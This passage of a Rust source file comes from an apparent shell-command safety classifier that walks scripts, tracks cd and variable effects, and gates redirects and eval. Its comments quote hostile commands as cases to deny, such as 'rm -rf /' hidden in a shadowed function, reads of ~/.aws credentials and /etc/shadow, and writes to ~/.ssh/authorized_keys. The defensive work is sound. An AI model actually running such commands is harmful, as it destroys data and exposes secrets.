Skip to main content

safe_chains/cst/
check.rs

1pub(super) use super::classify_budget::ClassifyGuard;
2pub(crate) use super::classify_budget::charge_classify_work;
3pub(crate) use super::functions::names_a_function;
4use super::functions::{FuncScope, define_function};
5pub(super) use super::functions::{forget_poisoned_functions, lookup_function, poison_function};
6pub(super) use super::scope_budget::scope_budget_spent;
7use super::scope_budget::{ScopeWalk, UNCERTAIN_VALUE, rebind_uncertain};
8use super::*;
9use crate::parse::Token;
10use crate::verdict::{SafetyLevel, Verdict};
11use crate::{handlers, pathctx::judging};
12
13pub fn command_verdict(input: &str) -> Verdict {
14    let _rules = crate::allowlist::suspended();
15    let Some(_guard) = ClassifyGuard::enter(input.len()) else {
16        return Verdict::Denied; // classification budget spent — fail closed
17    };
18    let Some(script) = parse(input) else {
19        return Verdict::Denied;
20    };
21    let verdict = script_verdict(&script);
22    if super::scope_budget::walk_untrusted() {
23        return Verdict::Denied; // shell state the walk could not track — fail closed
24    }
25    verdict
26}
27
28pub fn is_safe_command(input: &str) -> bool {
29    command_verdict(input).is_allowed()
30}
31
32pub(super) fn script_verdict(script: &Script) -> Verdict {
33    walk_with_scope(script, |stmt| pipeline_verdict(&stmt.pipeline))
34        .into_iter()
35        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
36}
37
38/// Walk `script`'s statements IN ORDER, running `per_stmt` on each with the accumulated scope
39/// installed, and return the per-statement results.
40///
41/// The scope is: the running `cwd` (HP-19 — a later relative path resolves against a prior `cd`),
42/// plus `VAR=value` bindings and function definitions from EARLIER statements (bash semantics;
43/// released when this returns). Fail-open on cwd: an unresolvable `cd` leaves it unchanged.
44///
45/// Shared by `script_verdict` AND the explainer so both see the SAME scope. This is load-bearing for
46/// security: a definition that shadows a builtin (`ls(){ rm -rf /; }; ls`) must deny in BOTH — if the
47/// per-segment explain classified the `ls` call without the definition in scope, the hook's coverage
48/// fallback (which uses the explainer) would re-allow the very thing the whole-command verdict denied.
49pub(crate) fn walk_with_scope<T>(script: &Script, mut per_stmt: impl FnMut(&Stmt) -> T) -> Vec<T> {
50    let _walk = ScopeWalk::enter();
51    let mut running = crate::pathctx::cwd();
52    let mut _vars: Vec<crate::pathctx::VarGuard> = Vec::new();
53    let mut _funcs: Vec<FuncScope> = Vec::new();
54    let mut out = Vec::with_capacity(script.0.len());
55    for stmt in &script.0 {
56        // Held across the `cd` update: `$(pwd)` is claimed from the directory the shell is in now,
57        // not the one it started in. Dropping the guard first tagged `cd /tmp/y && cd $(pwd)` as
58        // the project.
59        let _cwd = crate::pathctx::enter_cwd(running.clone());
60        out.push(per_stmt(stmt));
61        let effects = if scope_budget_spent() { ShellEffects::default() } else { shell_effects(&stmt.pipeline) };
62        let next = super::cd::cd_target(&stmt.pipeline).and_then(|(t, p)| crate::pathctx::join_cwd_mode(running.as_deref(), &t, p));
63        if next.is_some() {
64            running = next;
65        } else if effects.cwd {
66            // The shell may have moved somewhere we cannot name — a `cd` inside a compound or a
67            // called function, or a bare `cd`/`cd -`. Keeping the old cwd would judge later
68            // relative paths against a directory the shell has left.
69            running = Some(crate::pathctx::UNRESOLVED_CWD.to_string());
70        }
71        for (name, value) in statement_assignments(&stmt.pipeline) {
72            _vars.push(crate::pathctx::enter_var(name, value));
73        }
74        // Rebinds the shell keeps but we cannot attribute — a `VAR=…` or `name() {…}` inside a
75        // compound or a called function. Pushed AFTER the precise bindings above so the uncertain
76        // value wins for that name; a statement handled precisely contributes nothing here.
77        rebind_uncertain(effects.vars, &mut _vars);
78        for name in effects.funcs {
79            poison_function(name);
80        }
81        if let [Cmd::FunctionDef { name, body }] = stmt.pipeline.commands.as_slice() {
82            _funcs.push(define_function(name.clone(), body.clone()));
83        }
84    }
85    out
86}
87
88/// How deep to chase function bodies. Bounded so a recursive definition cannot spin; hitting the
89/// bound reports a possible effect, which fails closed.
90pub(super) const MAX_CD_SCAN_DEPTH: usize = 16;
91
92/// What running a statement may do to the CURRENT shell's state that we cannot attribute exactly.
93///
94/// bash isolates such effects in exactly two places — a SUBSHELL, and a stage of a multi-command
95/// pipeline. Everywhere else (brace group, `if`, `for`, `while`, `case`, a called function) a `cd`,
96/// a `VAR=…` or a `name() {…}` takes effect in the current shell and outlives the construct. The
97/// precise handling matches only statement-level forms, so all of those escaped tracking:
98/// `{ cd ~/.aws; }; cat credentials` was judged as a worktree read, and
99/// `VAR=./ok; { VAR=/etc/shadow; }; cat $VAR` kept the stale binding. Both are fail-OPEN — the
100/// stale state is the permissive one.
101///
102/// Whether the effect happened is unknowable (a branch may not be taken, a loop may not run), so
103/// the caller marks the cwd and the named bindings UNCERTAIN rather than guessing a value.
104#[derive(Default)]
105pub(super) struct ShellEffects {
106    pub(super) cwd: bool,
107    pub(super) vars: Vec<String>,
108    pub(super) funcs: Vec<String>,
109}
110
111/// The effects of one statement.
112fn shell_effects(pipeline: &Pipeline) -> ShellEffects {
113    let mut out = ShellEffects::default();
114    // `seen` memoizes function bodies. Without it `f0(){ f1; f1; }; f1(){ f2; f2; }; …` costs
115    // 2^depth traversals — a depth cap bounds depth but not FAN-OUT, the same blow-up the
116    // classifier's own work budget exists for. Caught by the termination guard.
117    let mut seen = Vec::new();
118    pipeline_effects(pipeline, MAX_CD_SCAN_DEPTH, &mut seen, &mut out);
119    out
120}
121
122/// A lone command's effects, or a pipeline's last stage's: zsh, and bash with `lastpipe`, run the
123/// last stage in the current shell, so `echo x | read f` may set `f`. A bare assignment or a
124/// definition there is an effect too, since `statement_assignments` binds only a lone one.
125fn pipeline_effects(pipeline: &Pipeline, depth: usize, seen: &mut Vec<String>, out: &mut ShellEffects) {
126    let Some(last) = pipeline.commands.last() else { return };
127    if pipeline.commands.len() > 1 {
128        match last {
129            Cmd::Simple(s) if s.words.is_empty() => out.vars.extend(s.env.iter().map(|(name, _)| name.clone())),
130            Cmd::FunctionDef { name, .. } => out.funcs.push(name.clone()),
131            _ => {}
132        }
133    }
134    scan_effects(last, depth, seen, out);
135}
136
137fn scan_effects(cmd: &Cmd, depth: usize, seen: &mut Vec<String>, out: &mut ShellEffects) {
138    let Some(depth) = depth.checked_sub(1) else {
139        out.cwd = true; // out of budget — assume the worst
140        return;
141    };
142    match cmd {
143        Cmd::Simple(s) => {
144            let Some(name) = s.words.first().map(Word::eval) else {
145                return; // a bare `VAR=x` — handled precisely by `statement_assignments`
146            };
147            out.vars.extend(super::opaque::declared_names(s));
148            if name == "cd" {
149                out.cwd = true;
150                return;
151            }
152            // A CALL runs the body in THIS shell, so its effects escape with it.
153            if seen.contains(&name) {
154                return;
155            }
156            if let Some(body) = lookup_function(&name) {
157                seen.push(name);
158                scan_script_effects(&body, depth, seen, out);
159            }
160        }
161        // The two constructs the shell really does isolate, plus forms that run nothing.
162        Cmd::Subshell { .. } | Cmd::DoubleBracket { .. } | Cmd::FunctionDef { .. } => {}
163        Cmd::BraceGroup { body, .. } => scan_script_effects(body, depth, seen, out),
164        Cmd::For { var, body, .. } => {
165            out.vars.push(var.clone());
166            scan_script_effects(body, depth, seen, out);
167        }
168        Cmd::While { cond, body, .. } | Cmd::Until { cond, body, .. } => {
169            scan_script_effects(cond, depth, seen, out);
170            scan_script_effects(body, depth, seen, out);
171        }
172        Cmd::If { branches, else_body, .. } => {
173            for b in branches {
174                scan_script_effects(&b.cond, depth, seen, out);
175                scan_script_effects(&b.body, depth, seen, out);
176            }
177            if let Some(e) = else_body {
178                scan_script_effects(e, depth, seen, out);
179            }
180        }
181        Cmd::Case { arms, .. } => {
182            for a in arms {
183                scan_script_effects(&a.body, depth, seen, out);
184            }
185        }
186    }
187}
188
189/// Every statement of a body that the shell would run in the current shell: its assignments and
190/// function definitions rebind here, and its commands are scanned in turn.
191pub(super) fn scan_script_effects(script: &Script, depth: usize, seen: &mut Vec<String>, out: &mut ShellEffects) {
192    for st in &script.0 {
193        for (name, _) in statement_assignments(&st.pipeline) {
194            out.vars.push(name);
195        }
196        if let [Cmd::FunctionDef { name, .. }] = st.pipeline.commands.as_slice() {
197            out.funcs.push(name.clone());
198        }
199        pipeline_effects(&st.pipeline, depth, seen, out);
200    }
201}
202
203/// The persistent bindings a STATEMENT establishes: a pure assignment `VAR=value` (a simple command
204/// with env and NO words). A prefix `VAR=x cmd` is excluded — per bash it doesn't persist and
205/// doesn't even affect `$VAR` in `cmd`'s own args. Each value is resolved against the bindings so far
206/// (so `B=$A/x` chains); a CERTAIN literal binds verbatim, an uncertain one binds the sentinel.
207fn statement_assignments(pipeline: &Pipeline) -> Vec<(String, String)> {
208    let [Cmd::Simple(s)] = pipeline.commands.as_slice() else {
209        return Vec::new();
210    };
211    if !s.words.is_empty() {
212        return Vec::new();
213    }
214    s.env.iter().map(|(name, value)| (name.clone(), certain_value(value))).collect()
215}
216
217/// A word's CERTAIN literal value for binding, or the unpinnable sentinel when uncertain. Resolves
218/// `$refs` against the current scope first, then requires no residual `$` and no substitution
219/// sentinel — a substitution (`$(…)`), an unbound var, or a reassignment-to-uncertain all fail here.
220pub(super) fn certain_value(word: &Word) -> String {
221    let text = word.eval();
222    if crate::pathctx::names_a_loop_var(&text) {
223        return UNCERTAIN_VALUE.to_string();
224    }
225    let raw = crate::pathctx::expand_vars(&text, false).into_owned();
226    // A TAGGED substitution sentinel is certain enough to BIND: it already classifies to a known
227    // locus, so `OUT=$(pwd); … > "$OUT/raw/x"` gates the write at the worktree rather than
228    // fail-closing on a value it can in fact bound. Every other marker stays uncertain.
229    if raw.contains('$') || is_opaque_value(&raw) { UNCERTAIN_VALUE.to_string() } else { raw }
230}
231
232/// Whether an evaluated word carries a marker the classifier CANNOT bound: the opaque command
233/// substitution, a process substitution (a `/dev/fd` pipe), or arithmetic. Deliberately not a
234/// `__SAFE_CHAINS_` prefix test, which would also catch the tagged (bounded) substitution.
235pub(crate) fn is_opaque_value(raw: &str) -> bool {
236    ["__SAFE_CHAINS_CMDSUB__", "__SAFE_CHAINS_PROCSUB__", "__SAFE_CHAINS_ARITH__"]
237        .iter()
238        .any(|m| raw.contains(m))
239}
240
241#[cfg(test)]
242pub(crate) fn is_safe_script(script: &Script) -> bool {
243    script_verdict(script).is_allowed()
244}
245
246pub(crate) fn pipeline_verdict(pipeline: &Pipeline) -> Verdict {
247    let mut acc = Verdict::Allowed(SafetyLevel::Inert);
248    // The representative path-locus of the CURRENT stream (the previous stage's stdout), threaded so
249    // a line-preserving filter carries the producer's locus THROUGH it: in `find ./src | head | xargs
250    // cat`, `head`'s output items are still `find`'s worktree paths, so `xargs` gates them there
251    // instead of worst-casing. In `A | xargs CMD`, xargs injects A's items as CMD's operands (the
252    // same idea as `find -exec`'s `{}` binding, sourced from the pipe).
253    let (mut stream, mut items): (Option<String>, _) = (None, crate::pathctx::item_shape::UNKNOWN);
254    for (stage, cmd) in pipeline.commands.iter().enumerate() {
255        let _stdin = stream.clone().map(|r| super::opaque::enter_stdin(r, items));
256        acc = acc.combine(super::netargs::with_stdin(pipeline, stage, || cmd_verdict(cmd)));
257        items = super::opaque::stage_shape(cmd, items);
258        if stage + 1 < pipeline.commands.len() {
259            stream = Some(stage_output_repr(cmd, stream.as_deref()));
260        }
261    }
262    acc
263}
264
265/// The sentinel operand fed to an injecting consumer when the source is unknown/unmodeled. The
266/// leading `/` makes it LOOK like a path (so `pathgate`-gated readers like `od` gate it) and the
267/// cmdsub marker makes it unpinnable (so engine-resolved readers like `cat` worst-case it) — it
268/// must deny in BOTH gate layers.
269pub(super) const UNKNOWN_ITEM: &str = "/__SAFE_CHAINS_CMDSUB__";
270
271/// A representative PATH for the items `cmd` emits on stdout given the stream repr it RECEIVED
272/// (`input`), used to gate an operand-injecting consumer downstream (`… | xargs cat`). A PRODUCER
273/// that provably emits workspace-bounded paths yields a worktree representative; a line-preserving
274/// FILTER carries `input` through unchanged; everything else worst-cases to `UNKNOWN_ITEM`.
275pub(super) fn stage_output_repr(cmd: &Cmd, input: Option<&str>) -> String {
276    let Cmd::Simple(s) = cmd else {
277        return UNKNOWN_ITEM.to_string();
278    };
279    let words: Vec<String> = s.words.iter().map(Word::eval).collect();
280    let Some(first) = words.first() else {
281        return UNKNOWN_ITEM.to_string();
282    };
283    let token = Token::from_raw(first.clone());
284    let name = crate::engine::resolve::invocation_name(&token).to_string();
285    let args: Vec<&str> = words[1..].iter().map(String::as_str).collect();
286    let through = || input.unwrap_or(UNKNOWN_ITEM).to_string();
287    match name.as_str() {
288        // find/fd emit paths UNDER their roots — the child of the worst root carries its locus.
289        //
290        // "Worst" by BOTH faces, not by whether the read is allowed. Selecting on whether the read is admitted
291        // dropped any root that merely reads fine, so `find app/.git` fell through to `.` and
292        // `find app/.git | while read f; do echo hi > "$f"; done` wrote into the frozen rung that
293        // `echo hi > app/.git/config` refuses. `.git` is exactly the path that reads fine and must
294        // not be written, so a read-face test could never see it.
295        "find" | "fd" | "fdfind" if super::opaque::prints_only_paths(&args) => {
296            let roots = find_roots(&args);
297            let base = roots
298                .iter()
299                .max_by_key(|r| {
300                    let (read, write) = (crate::engine::resolve::locus::read_locus(r), crate::engine::resolve::locus::write_locus(r));
301                    read.max(write)
302                })
303                .copied()
304                .unwrap_or(".");
305            // Same stand-in the `-exec` handlers bind `{}` to — one rule, one definition. It was two
306            // copies before, and the copy that got the shield fix was this one, so `find / | xargs
307            // cat` refused while `find / -exec cat {} \;` read the same files.
308            //
309            // Deliberately not applied to the arms below. `echo /etc/passwd | xargs cat` keeps its
310            // literal representative because the shield genuinely CAN check that one; the
311            // distinction is whether we hold the actual path or a placeholder for it.
312            crate::engine::resolve::frozen_reach::stage_item(&name, base, &args)
313        }
314        // ls emits cwd-relative BASENAMES (worktree) unless `-d` echoes its (possibly absolute) args.
315        "ls" => {
316            if super::echoed::ls_prints_operands(&args) {
317                super::echoed::printed_item("ls", &args).unwrap_or_else(|| UNKNOWN_ITEM.to_string())
318            } else {
319                super::echoed::ls_item(&args).unwrap_or_else(|| UNKNOWN_ITEM.to_string())
320            }
321        }
322        // echo/printf emit their args verbatim; the worst piece of them is the representative.
323        "echo" | "printf" => super::echoed::printed_item(&name, &args).unwrap_or_else(|| UNKNOWN_ITEM.to_string()),
324        // git path-listers emit repo-relative paths (worktree, assuming the repo is the workspace).
325        "git" => match args.first() {
326            Some(&"ls-files") | Some(&"diff") | Some(&"status") | Some(&"grep") => "sc_item".to_string(),
327            _ => UNKNOWN_ITEM.to_string(),
328        },
329        // Line-preserving FILTERS: each output line is a WHOLE, unchanged input line, so the stream's
330        // item locus is unchanged — carry `input` through. Only when reading stdin (no file operand)
331        // and not byte-slicing (`head -c`, which can split a path); NOT `grep -o`/`sed`/`awk`/`cut`/`tr`
332        // (they can rewrite a line to ANY path — treating those as passthrough would be a bypass).
333        "sort" | "uniq" | "cat" | "tac" if !reads_a_file(&args) => through(),
334        "head" | "tail" if !reads_a_file_after_count(&args) && !args.iter().any(|a| *a == "-c" || a.starts_with("--bytes")) => through(),
335        // tee always forwards stdin→stdout (its file args are extra WRITES, gated elsewhere).
336        "tee" => through(),
337        _ => UNKNOWN_ITEM.to_string(),
338    }
339}
340
341/// Whether a filter reads a FILE rather than stdin (so it is NOT a stdin passthrough): a
342/// positional operand, or `sort`'s `--files0-from=F` / `--files0-from F`, which redirects it to
343/// emit the CONTENTS of the files listed in `F` — arbitrary file-derived output, not the piped
344/// stream. A lone `-` (explicit stdin) doesn't count. The `=`-glued flag form is a single token
345/// starting with `-`, so it must be matched explicitly or it would masquerade as a passthrough.
346fn reads_a_file(args: &[&str]) -> bool {
347    args.iter()
348        .any(|a| (!a.starts_with('-') && *a != "-") || *a == "--files0-from" || a.starts_with("--files0-from="))
349}
350
351/// Like `reads_a_file`, but skips the VALUE of `head`/`tail`'s count flags (`-n N`, `-c N`) so
352/// `head -n 5` (stdin) isn't mistaken for reading a file named `5`.
353fn reads_a_file_after_count(args: &[&str]) -> bool {
354    let mut i = 0;
355    while i < args.len() {
356        let a = args[i];
357        if matches!(a, "-n" | "-c" | "--lines" | "--bytes") {
358            i += 2; // flag + its value
359            continue;
360        }
361        if a.starts_with('-') || a == "-" {
362            i += 1;
363            continue;
364        }
365        return true; // a bare positional → a file operand
366    }
367    false
368}
369
370/// `find`'s root operands: after any leading global options (`-H`/`-L`/`-P`, `-D`/`-O V`), the
371/// positional args up to the first predicate (`-name`, `(`, `!`, …). Defaults to `.` (cwd).
372fn find_roots<'a>(args: &[&'a str]) -> Vec<&'a str> {
373    let mut i = 0;
374    while i < args.len() {
375        match args[i] {
376            "-H" | "-L" | "-P" => i += 1,
377            "-D" | "-O" => i += 2,
378            _ => break,
379        }
380    }
381    let mut roots = Vec::new();
382    while i < args.len() && !args[i].starts_with('-') && !matches!(args[i], "(" | "!" | ")" | ",") {
383        roots.push(args[i]);
384        i += 1;
385    }
386    if roots.is_empty() {
387        roots.push(".");
388    }
389    roots
390}
391
392pub fn is_safe_pipeline(pipeline: &Pipeline) -> bool {
393    pipeline_verdict(pipeline).is_allowed()
394}
395
396pub(crate) fn has_unsafe_syntax(cmd: &SimpleCmd) -> bool {
397    !check_redirects(&cmd.redirs) || has_any_substitution(cmd)
398}
399
400fn has_any_substitution(cmd: &SimpleCmd) -> bool {
401    cmd.words.iter().any(has_substitution) || cmd.env.iter().any(|(_, v)| has_substitution(v))
402}
403
404pub(crate) fn cmd_verdict(cmd: &Cmd) -> Verdict {
405    match cmd {
406        Cmd::Simple(s) => crate::allowlist::with_rules(s, simple_verdict),
407        Cmd::Subshell { body, redirs } | Cmd::BraceGroup { body, redirs } => {
408            let body_v = script_verdict(body);
409            if let Verdict::Denied = body_v {
410                return Verdict::Denied;
411            }
412            let redir_v = redirect_verdict(redirs);
413            if let Verdict::Denied = redir_v {
414                return Verdict::Denied;
415            }
416            body_v.combine(redir_v)
417        }
418        Cmd::For { var, items, body, redirs } => super::loops::for_verdict(var, items, body, redirs),
419        Cmd::While { cond, body, redirs } | Cmd::Until { cond, body, redirs } => super::loops::while_verdict(cond, body, redirs),
420        Cmd::If { branches, else_body, redirs } => {
421            let redir_v = redirect_verdict(redirs);
422            if let Verdict::Denied = redir_v {
423                return Verdict::Denied;
424            }
425            let mut v = redir_v;
426            for b in branches {
427                v = v.combine(script_verdict(&b.cond)).combine(script_verdict(&b.body));
428            }
429            if let Some(eb) = else_body {
430                v = v.combine(script_verdict(eb));
431            }
432            v
433        }
434        Cmd::DoubleBracket { words, redirs } => super::arith::double_bracket_verdict(words).combine(redirect_verdict(redirs)),
435        // Which arm runs is decided at runtime, so — exactly as for `If` — every arm body counts
436        // and the case is only as safe as its worst arm. The patterns are matched, never executed,
437        // but the SUBJECT is expanded, so its substitutions are gated like any other word.
438        Cmd::Case { subject, arms, redirs } => {
439            let redir_v = redirect_verdict(redirs);
440            if let Verdict::Denied = redir_v {
441                return Verdict::Denied;
442            }
443            let mut v = redir_v.combine(word_sub_verdict(subject));
444            for arm in arms {
445                v = v.combine(words_sub_verdict(&arm.patterns)).combine(script_verdict(&arm.body));
446            }
447            v
448        }
449        Cmd::FunctionDef { name, body } => super::functions::definition_verdict(name, body),
450    }
451}
452
453pub(crate) fn is_safe_cmd(cmd: &Cmd) -> bool {
454    cmd_verdict(cmd).is_allowed()
455}
456
457fn part_sub_verdict(part: &WordPart) -> Verdict {
458    match part {
459        WordPart::CmdSub(inner) | WordPart::ProcSub(inner) => crate::allowlist::outside_rules(|| script_verdict(inner)),
460        WordPart::Backtick(raw) => command_verdict(&super::escape::backtick_command(raw)),
461        WordPart::DQuote(inner) => word_sub_verdict(inner),
462        // Arithmetic is inert, but a `$( )` inside it runs — judged, not skipped.
463        WordPart::Arith(inner) => word_sub_verdict(inner),
464        _ => Verdict::Allowed(SafetyLevel::Inert),
465    }
466}
467
468fn word_sub_verdict(word: &Word) -> Verdict {
469    word.0.iter().map(part_sub_verdict).fold(super::arith::word_verdict(word), Verdict::combine)
470}
471
472pub(super) fn words_sub_verdict(words: &[Word]) -> Verdict {
473    words.iter().map(word_sub_verdict).fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
474}
475
476#[cfg(test)]
477pub(crate) fn word_subs_safe(word: &Word) -> bool {
478    word_sub_verdict(word).is_allowed()
479}
480
481fn simple_verdict(cmd: &SimpleCmd) -> Verdict {
482    let redir_v = redirect_verdict(&cmd.redirs);
483    if let Verdict::Denied = redir_v {
484        return Verdict::Denied;
485    }
486
487    let env_sub_v = cmd
488        .env
489        .iter()
490        .map(|(_, v)| word_sub_verdict(v))
491        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine);
492    let word_sub_v = words_sub_verdict(&cmd.words);
493
494    // A LISTED assignment is classified by its value (`envvars.toml`): `GIT_SSH_COMMAND` carries a
495    // command, `LD_PRELOAD` a path supplying code. An unlisted name is Inert, so this changes
496    // nothing for ordinary invocations — `FOO=bar ls` classifies exactly as `ls` does.
497    //
498    // COMBINED, not merely checked for denial. An assignment that resolves to a LEVEL carries that
499    // level into the command: `RUSTFLAGS='-Cincremental=./x'` authorises a worktree write, so the
500    // invocation is a write even when the command word is inert. Propagating only `Denied` here
501    // meant `RUSTFLAGS='-Cincremental=./x' echo hi` passed at `paranoid`, while the same write
502    // spelled `touch ./x` did not.
503    let env_name_v = cmd
504        .env
505        .iter()
506        .map(|(name, value)| crate::envvars::assignment_verdict(name, &value.eval()))
507        .fold(crate::envvars::rebinding_verdict(&cmd.words).combine(super::arith::command_verdict(cmd)), Verdict::combine);
508    let sub_v = env_sub_v.combine(word_sub_v).combine(env_name_v);
509
510    if let Verdict::Denied = sub_v {
511        return Verdict::Denied;
512    }
513
514    if cmd.words.is_empty() {
515        if cmd.env.is_empty() {
516            return Verdict::Allowed(SafetyLevel::Inert);
517        }
518        return sub_v.combine(redir_v);
519    }
520
521    let name = cmd.words[0].eval();
522
523    // A function shadows everything it names, builtins like `eval` included, so it resolves first.
524    if let Some(call) = super::functions::call_verdict(cmd, &name) {
525        return sub_v.combine(call).combine(redir_v);
526    }
527
528    if name == "eval" {
529        return eval_verdict(cmd).combine(sub_v).combine(redir_v);
530    }
531
532    // Brace-expand each word (`cat {/etc/shadow,x}` → two operands) so every alternative bash
533    // would run is classified — a braced word must not hide a system path from the gate.
534    let words: Vec<Vec<Token>> = cmd.words.iter().map(|w| w.expand().into_iter().map(Token::from_raw).collect()).collect();
535    if words.iter().all(Vec::is_empty) {
536        return Verdict::Allowed(SafetyLevel::Inert);
537    }
538    if super::opaque::smuggles_a_flag(cmd) {
539        return Verdict::Denied;
540    }
541
542    let cmd_v = super::netargs::with_args(cmd, || super::opaque::probed_verdict(cmd, &words, judging(!cmd.env.is_empty(), leaf_verdict)));
543    sub_v.combine(cmd_v).combine(redir_v)
544}
545
546/// The command leaf's verdict. The behavioral-capability engine is authoritative for every
547/// command it can resolve; the legacy classifier handles the rest (`…-engine` §4). There is
548/// no opt-out — the engine is the default and only path.
549fn leaf_verdict(tokens: &[Token]) -> Verdict {
550    let legacy = handlers::dispatch(tokens);
551    super::netargs::with_egress(tokens, crate::engine::bridge::gated_engine_verdict(tokens).unwrap_or(legacy))
552}
553
554fn eval_verdict(cmd: &SimpleCmd) -> Verdict {
555    if cmd.words.len() < 2 {
556        return Verdict::Denied;
557    }
558    for arg in &cmd.words[1..] {
559        if !arg_is_eval_safe(arg) {
560            return Verdict::Denied;
561        }
562    }
563    Verdict::Allowed(SafetyLevel::Inert)
564}
565
566fn arg_is_eval_safe(word: &Word) -> bool {
567    let mut found_safe = false;
568    for part in &word.0 {
569        match part {
570            WordPart::Lit(s) | WordPart::SQuote(s) => {
571                if !s.chars().all(char::is_whitespace) {
572                    return false;
573                }
574            }
575            WordPart::Escape(c) => {
576                if !c.is_whitespace() {
577                    return false;
578                }
579            }
580            WordPart::CmdSub(script) => {
581                if !script_yields_eval_safe(script) {
582                    return false;
583                }
584                found_safe = true;
585            }
586            WordPart::Backtick(raw) => {
587                let Some(script) = parse(&super::escape::backtick_command(raw)) else {
588                    return false;
589                };
590                if !script_yields_eval_safe(&script) {
591                    return false;
592                }
593                found_safe = true;
594            }
595            WordPart::DQuote(inner) => {
596                if !arg_is_eval_safe(inner) {
597                    return false;
598                }
599                if has_substitution(inner) {
600                    found_safe = true;
601                }
602            }
603            WordPart::ProcSub(_) | WordPart::Arith(_) | WordPart::AnsiC(_) => return false,
604        }
605    }
606    found_safe
607}
608
609fn script_yields_eval_safe(script: &Script) -> bool {
610    if script.0.len() != 1 {
611        return false;
612    }
613    let stmt = &script.0[0];
614    if !matches!(stmt.op, None | Some(ListOp::Semi)) {
615        return false;
616    }
617    let pipeline = &stmt.pipeline;
618    if pipeline.bang || pipeline.commands.len() != 1 {
619        return false;
620    }
621    let Cmd::Simple(s) = &pipeline.commands[0] else {
622        return false;
623    };
624    if !s.env.is_empty() {
625        return false;
626    }
627    // A redirect inside the substitution is allowed only if it's inert:
628    // stderr suppression (`2>/dev/null`), an fd dup (`2>&1`), or `/dev/null`.
629    // A redirect that writes a real file is SafeWrite, not inert, so
630    // `mise activate bash > evil` is rejected — eval-safe must not gain a
631    // file-write side effect, and diverting stdout to a file is pointless here.
632    if redirect_verdict(&s.redirs) != Verdict::Allowed(SafetyLevel::Inert) {
633        return false;
634    }
635    for w in &s.words {
636        if !word_is_plain_literal(w) {
637            return false;
638        }
639    }
640    let tokens: Vec<Token> = s.words.iter().flat_map(|w| w.expand().into_iter().map(Token::from_raw)).collect();
641    if tokens.is_empty() {
642        return false;
643    }
644    crate::registry::is_eval_safe_invocation(&tokens)
645}
646
647/// True iff every character of `word` is drawn from the bare-literal
648/// alphabet: ASCII alphanumerics plus `_`, `-`, `.`, `/`, `=`. Words
649/// matching this shape consist entirely of identifier-style or
650/// path-style tokens that the shell will pass through to the
651/// substituted command unchanged at runtime.
652///
653/// Required for words inside eval-safe substitutions because the
654/// "stdout is shell-init code" trust depends on the contributor having
655/// vetted what gets passed to the tool. Restricting the alphabet to
656/// chars with no shell-expansion semantics keeps the substituted
657/// invocation static across parse-time and runtime — what you see in
658/// the source is what the tool receives.
659fn word_is_plain_literal(word: &Word) -> bool {
660    word.0.iter().all(part_is_plain_literal)
661}
662
663fn part_is_plain_literal(part: &WordPart) -> bool {
664    match part {
665        WordPart::Lit(s) | WordPart::SQuote(s) => s.chars().all(is_bare_literal_char),
666        WordPart::Escape(c) => is_bare_literal_char(*c),
667        WordPart::DQuote(inner) => word_is_plain_literal(inner),
668        WordPart::CmdSub(_) | WordPart::ProcSub(_) | WordPart::Backtick(_) | WordPart::Arith(_) | WordPart::AnsiC(_) => false,
669    }
670}
671
672/// Bare-literal alphabet: ASCII alphanumerics plus a tight punctuation
673/// set covering identifiers (`_`, `-`), versions / paths (`.`, `/`),
674/// and the long-flag value form (`=`). New chars require an explicit
675/// eval-safe use case — add by extending this match, never by
676/// excluding individual hostile chars.
677fn is_bare_literal_char(c: char) -> bool {
678    c.is_ascii_alphanumeric() || matches!(c, '_' | '-' | '.' | '/' | '=')
679}
680
681/// Whether a command's redirects are acceptable on the USER-ALLOWLIST path — the one taken when the
682/// user's own `Bash(...)` rule names a command safe-chains does not otherwise know.
683///
684/// Delegates to [`redirect_verdict`], the same location model every other redirect goes through.
685/// It used to carry its own rule — a write was accepted only to `/dev/null`, a read always — and
686/// that second copy was wrong in BOTH directions:
687///
688/// - Too strict on writes. A granted runner script could not redirect anywhere, not even into the
689///   session scratchpad: `~/runner-scripts/x.sh > $SCRATCH/out.txt` fell through to a prompt while
690///   the byte-identical `cat f > $SCRATCH/out.txt` auto-approved through the engine path.
691/// - Too lax on reads. `Redir::Read` was unconditionally true, so `~/runner-scripts/x.sh <
692///   /etc/shadow` fed a credential to a granted command without ever consulting the read locus.
693///
694/// One model, one answer. A grant covers the command; the redirect is still gated by where it
695/// lands, so `> ~/.ssh/authorized_keys` stays denied whatever rule named the command.
696pub(crate) fn check_redirects(redirs: &[Redir]) -> bool {
697    redirect_verdict(redirs).is_allowed()
698}
699
700/// Whether a redirect *write* target is one we can auto-approve. Delegates to the SAME location
701/// model + user grants the engine's file writers (`cp`/`mv`/`tee`/…) use, so a `> ~/file` honors
702/// a home grant exactly like `cp ./a ~/file`; `/tmp` and `/dev/stdout` stay writable; and
703/// `.git`/`.envrc`, home, absolute system paths, `..` escapes, and `$`-unpinnable targets stay
704/// frozen (a redirect there can plant a git hook, an SSH key, or a direnv script that runs
705/// later). Relative targets resolve against the harness cwd/root inside `write_target_verdict`.
706fn is_safe_write_target(path: &str) -> bool {
707    crate::engine::resolve::write_target_verdict(path).is_allowed()
708}
709
710/// The verdict for a redirect that OPENS `target` for writing. Brace sequences expand first.
711fn write_face(target: &Word) -> Verdict {
712    super::eval::judge_write(target, is_safe_write_target)
713}
714
715/// The verdict for a redirect that OPENS `target` for reading. Gates the SOURCE by its read locus,
716/// like an operand read: `cat < /etc/shadow` must deny just as `cat /etc/shadow` does. A
717/// substitution-derived source names an unknowable file → fail-closed to Denied. Brace sequences
718/// expand first, and the locus is read off that expanded spelling.
719fn read_face(target: &Word) -> Verdict {
720    super::eval::judge_read(target, is_opaque_value)
721}
722
723pub(crate) fn redirect_verdict(redirs: &[Redir]) -> Verdict {
724    let mut level = Verdict::Allowed(SafetyLevel::Inert);
725    for r in redirs {
726        match r {
727            Redir::Write { target, .. } => {
728                level = level.combine(word_sub_verdict(target));
729                level = level.combine(write_face(target));
730            }
731            Redir::Read { target, .. } => {
732                level = level.combine(word_sub_verdict(target));
733                level = level.combine(read_face(target));
734            }
735            // `<>` opens the target BOTH ways, so it takes both gates. Taking only one would let
736            // the other face through: the write gate alone misses reading a secret, and the read
737            // gate alone misses overwriting a file that is merely readable.
738            Redir::ReadWrite { target, .. } => {
739                level = level.combine(word_sub_verdict(target));
740                level = level.combine(write_face(target));
